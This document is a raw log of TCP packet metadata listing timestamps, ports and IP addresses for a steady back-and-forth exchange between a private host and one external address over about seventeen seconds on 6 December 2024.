Dec 6, 2024 10:42:42.295268059 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.377123117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.398334026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.477166891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.497003078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.578006029 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.597035885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.678205967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.697756052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.778148890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.797924042 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.881006956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:42.897942066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:42.982011080 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.001064062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.079154968 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.101736069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.179147959 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.198882103 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.280194044 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.298878908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.381181002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.400087118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.481173038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.530828953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.582210064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.683188915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.779910088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.780843019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.784189939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.803030968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.885164976 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:43.904062033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:43.985181093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.007016897 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.085160017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.105294943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.186153889 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.205179930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.290007114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.307383060 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.387147903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.409817934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.487651110 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.507169008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.588156939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.607362032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.688235998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.708590984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.788223028 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.808876038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.889139891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:44.908015013 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:44.990236044 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.009255886 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.094050884 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.109987020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.191260099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.213840961 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.291169882 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.311429024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.391176939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.411108017 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.495181084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.511091948 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.596237898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.615077972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.696187973 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.716000080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.797175884 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.816190958 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.898159981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:45.917100906 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:45.998169899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.018297911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.098261118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.118360996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.199177980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.218188047 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.302042007 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.318991899 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.402029037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.422466040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.502029896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.522255898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.606028080 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.621903896 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.702184916 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.728729963 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.806050062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.821995020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:46.904182911 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:46.926110983 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.004183054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.024117947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.108180046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.124423027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.208271027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.228106976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.305206060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.328139067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.406157017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.425331116 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.507224083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.526086092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.607232094 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.627263069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.708183050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.727224112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.808198929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.828216076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:47.909255028 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:47.928095102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.010344982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.029131889 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.111181974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.130908966 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.211163998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.230984926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.311167002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.331280947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.412193060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.431000948 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.512249947 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.531965971 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.616178989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.631998062 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.713207006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.737912893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.813174963 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.833116055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:48.913197994 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:48.933232069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.016541958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.032943010 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.116066933 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.136826992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.216299057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.236080885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.316195011 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.336133003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.416207075 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.436136007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.516179085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.536072016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.617222071 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.637031078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.718235970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.737088919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.818157911 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.838082075 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:49.919209003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:49.937968969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.019202948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.039071083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.119370937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.139233112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.220204115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.239218950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.320229053 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.340040922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.421207905 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.440040112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.524045944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.541198969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.622188091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.644062042 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.723186016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.741972923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.826052904 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.843065023 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:50.924195051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:50.945862055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.024303913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.044641018 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.128195047 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.144193888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.228074074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.247972965 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.326172113 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.350699902 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.426223993 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.445878983 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.527318001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.546029091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.628238916 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.647150040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.729260921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.748264074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.833909035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.848968983 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:51.933332920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:51.953691959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.053299904 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.340207100 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.444104910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.459973097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.544192076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.563858032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.641469955 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.663950920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.744349003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.761185884 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.844376087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.864031076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:52.943291903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:52.964190960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.046066046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.063071012 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.144316912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.165777922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.245191097 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.264457941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.345268965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.364940882 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.446218967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.465076923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.546201944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.566526890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.647198915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.666234016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.747231960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.767369032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.848243952 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.867105007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:53.949203014 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:53.968049049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.050234079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.069013119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.150201082 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.170094013 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.251288891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.270489931 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.352304935 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.371198893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.452214956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.472368002 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.553209066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.572179079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.659195900 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.673171997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.760212898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.779253006 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.863169909 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.879971027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:54.963474989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:54.983160973 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.066095114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.084299088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.164211035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.185985088 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.269489050 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.284065008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.369301081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.389256001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.470273018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.489406109 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.570236921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.590198040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.671341896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.690133095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.772244930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.791013002 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.873239994 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.892102957 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:55.974219084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:55.993073940 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.075234890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.094069004 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.175242901 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.195116997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.278076887 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.295090914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.378123999 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.399451017 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.476236105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.499437094 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.578084946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.596128941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.677241087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.697971106 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.777297020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.797087908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.882087946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:56.897041082 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:56.979234934 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.001768112 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.079207897 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.099092960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.180202961 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.198935032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.280236959 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.300206900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.381328106 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.400103092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.482251883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.501343966 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.582257032 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.604178905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.682276011 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.703053951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.782485008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.802027941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.883228064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:57.902523994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:57.983217955 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.003057003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.083336115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.103051901 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.184266090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.203588009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.284245968 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.304171085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.384238005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.404310942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.486095905 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.504198074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.586313009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.606074095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.686280966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.706342936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.786326885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.807199955 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.890140057 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:58.906373978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:58.987230062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.010042906 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.090091944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.107297897 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.188220978 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.210233927 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:59.289299011 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:59.308145046 CET	3785	49737	88.210.12.58	192.168.2.6
